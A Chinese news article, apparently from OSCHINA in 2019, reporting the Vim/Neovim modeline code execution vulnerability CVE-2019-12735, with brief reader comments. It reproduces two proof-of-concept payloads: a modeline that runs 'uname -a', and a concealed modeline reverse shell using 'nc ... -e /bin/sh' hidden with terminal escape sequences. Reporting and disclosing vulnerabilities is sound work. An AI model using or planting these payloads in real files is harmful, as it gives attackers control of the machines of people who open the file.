Vim 与 Neovim 曝出任意代码执行漏洞

h4cd
 h4cd
发布于 2019年06月14日
收藏 9

安全研究人员发现 Vim 与 Neovim 中存在一个任意执行漏洞,允许黑客在用户打开恶意文本文件时控制计算机。漏洞影响 Vim 8.1.1365 与 Neovim 0.3.6 之前的所有版本。

该漏洞存在于编辑器的 modeline(模式行)功能,此功能允许用户在文本文件的开头或结尾设置窗口尺寸和其它自定义选项,它在一个被操作系统封锁的沙箱中运行,并且可用命令也被限制,但是研究人员 Arminius 发现了绕过该安全保护的方法。

目前漏洞已经被编号为 CVE-2019-12735,Arminius 也释出了两个概念验证。

第一个是直接利用该漏洞使系统执行`uname -a`命令:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另一个利用方式更加深入,一旦用户打开文件就自动启动反向 shell。为了隐藏攻击,文件将在打开时立即重写。此外,当使用 cat 输出内容时,攻击还使用终端转义序列隐藏 modeline:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

目前补丁也已经释出:

更具体的细节见:

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

本站文章除注明转载外,均为本站原创或编译。欢迎任何形式的转载,但请务必注明出处,尊重他人劳动共创开源社区。
转载请注明:文章转载自 OSCHINA 社区 [http://www.aercaste.com]
本文标题:Vim 与 Neovim 曝出任意代码执行漏洞
加载中

精彩评论

模糊的张狂
模糊的张狂
已移除 vim..??
HarryZhao
HarryZhao
升级升级

最新评论(3

模糊的张狂
模糊的张狂
已移除 vim..??
W
WindSpeed
舅服你
HarryZhao
HarryZhao
升级升级
返回顶部
顶部